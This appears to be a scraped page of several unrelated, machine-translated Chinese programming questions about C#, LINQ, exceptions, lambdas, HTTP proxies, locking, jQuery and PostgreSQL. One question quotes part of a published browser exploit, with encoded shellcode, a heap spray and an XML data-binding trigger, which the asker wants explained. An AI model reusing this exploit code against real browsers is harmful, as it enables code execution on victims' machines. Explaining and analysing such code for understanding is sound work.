我正在玩LINQ来了解它,但是当我没有一个简单的列表时,我无法弄清楚如何使用Distinct(一个简单的整数列表很容易做到,这不是问题).我想在对象的一个或多个属性上使用对象列表中的区别?
示例:如果对象是Person
,则使用Property Id
.如何获取所有Person并使用对象Distinct
的属性Id
?
Person1: Id=1, Name="Test1"
Person2: Id=1, Name="Test1"
Person3: Id=2, Name="Test2"
Run Code Online (Sandbox Code Playgroud)
我怎样才能得到Person1和Person3?那可能吗?
如果LINQ不可能,那么Person
在.NET 3.5 中依赖于某些属性的列表最好的方法是什么?
假设我在类或方法中有一个泛型成员,所以:
public class Foo<T>
{
public List<T> Bar { get; set; }
public void Baz()
{
// get type of T
}
}
Run Code Online (Sandbox Code Playgroud)
当我实例化类时,T
变为MyTypeObject1
,所以类具有通用列表属性:List<MyTypeObject1>
.这同样适用于非泛型类中的泛型方法:
public class Foo
{
public void Bar<T>()
{
var baz = new List<T>();
// get type of T
}
}
Run Code Online (Sandbox Code Playgroud)
我想知道,我的类列表包含什么类型的对象.所以调用的list属性Bar
或局部变量baz
包含什么类型的T
?
我做不到Bar[0].GetType()
,因为列表可能包含零元素.我该怎么做?
我有一个问题,源于我的伙伴以不同于我的方式做事.
这样做更好:
try
{
...
}
catch (Exception ex)
{
...
throw;
}
Run Code Online (Sandbox Code Playgroud)
或这个:
try
{
...
}
catch (Exception ex)
{
...
throw ex;
}
Run Code Online (Sandbox Code Playgroud)
他们做同样的事情吗?这个比那个好吗?
我已经快速阅读了Microsoft Lambda Expression文档.
这种例子帮助我更好地理解了:
delegate int del(int i);
del myDelegate = x => x * x;
int j = myDelegate(5); //j = 25
Run Code Online (Sandbox Code Playgroud)
不过,我不明白为什么会有这样的创新.它只是一种在"方法变量"结束时死亡的方法,对吗?为什么我应该使用它而不是真正的方法?
我通常没有阅读JavaScript脚本的困难,但这个我无法弄清楚逻辑.该代码来自于4天前发布的漏洞利用程序.你可以在milw0rm找到它.
这是代码:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag …
Run Code Online (Sandbox Code Playgroud) 几个星期前我已经下载了Privoxy,为了好玩,我很想知道它的简单版本是如何完成的.
我知道我需要配置浏览器(客户端)以向代理发送请求.代理将请求发送到Web(假设它是一个http代理).代理将收到答案......但代理如何将请求发送回浏览器(客户端)?
我在网上搜索了C#和http代理,但是没有找到让我理解它在幕后正确工作的东西.(我相信我不想要反向代理,但我不确定).
你们有没有一些解释或一些信息让我继续这个小项目?
这就是我的理解(见下图).
步骤1我将所有请求的客户端(浏览器)配置为在Proxy侦听的端口发送到127.0.0.1.这样,请求将不会直接发送到Internet,而是由代理处理.
步骤2代理查看新连接,读取HTTP标头并查看必须执行的请求.他执行请求.
步骤3代理从请求中接收答案.现在他必须从网上发送答案给客户但是怎么样???
Mentalis代理:我发现这个项目是一个代理(但我想要的更多).我可能会查看来源,但我真的想要一些基本的东西来理解更多的概念.
ASP代理:我也许可以在这里获得一些信息.
请求反射器:这是一个简单的例子.
这是一个带有简单Http代理的Git Hub存储库.
我刚刚意识到,在我的代码中的某个地方,我在锁内部有一个return语句.哪一个是最好的?
1)
void example()
{
lock (mutex)
{
//...
}
return myData;
}
Run Code Online (Sandbox Code Playgroud)
2)
void example()
{
lock (mutex)
{
//...
return myData;
}
}
Run Code Online (Sandbox Code Playgroud)
我应该使用哪一个?
jQuery.parseJSON('{"name":"John"}')
将字符串表示转换为对象,但我希望反过来.对象将被转换为JSON字符串我得到了一个链接http://www.devcurry.com/2010/03/convert-javascript-object-to-json.html
但它需要有json2.js做jQuery有一个原生这样做的方法?
我需要重命名数据库,但当我在
PGAdmin : ALTER DATABASE "databaseName" RENAME TO "databaseNameOld"
其中时,告诉我它不能.
我该怎么做?
(WindowsXP上的8.3版)
更新
第一条错误消息:不能,因为我连接到它.所以我选择了另一个数据库并进行了查询.
我收到第二条错误消息,告诉我它已经来了用户连接.我在PGAdmin
屏幕上看到它有很多,PID
但它们都处于非活动状态......我不知道如何杀死它们.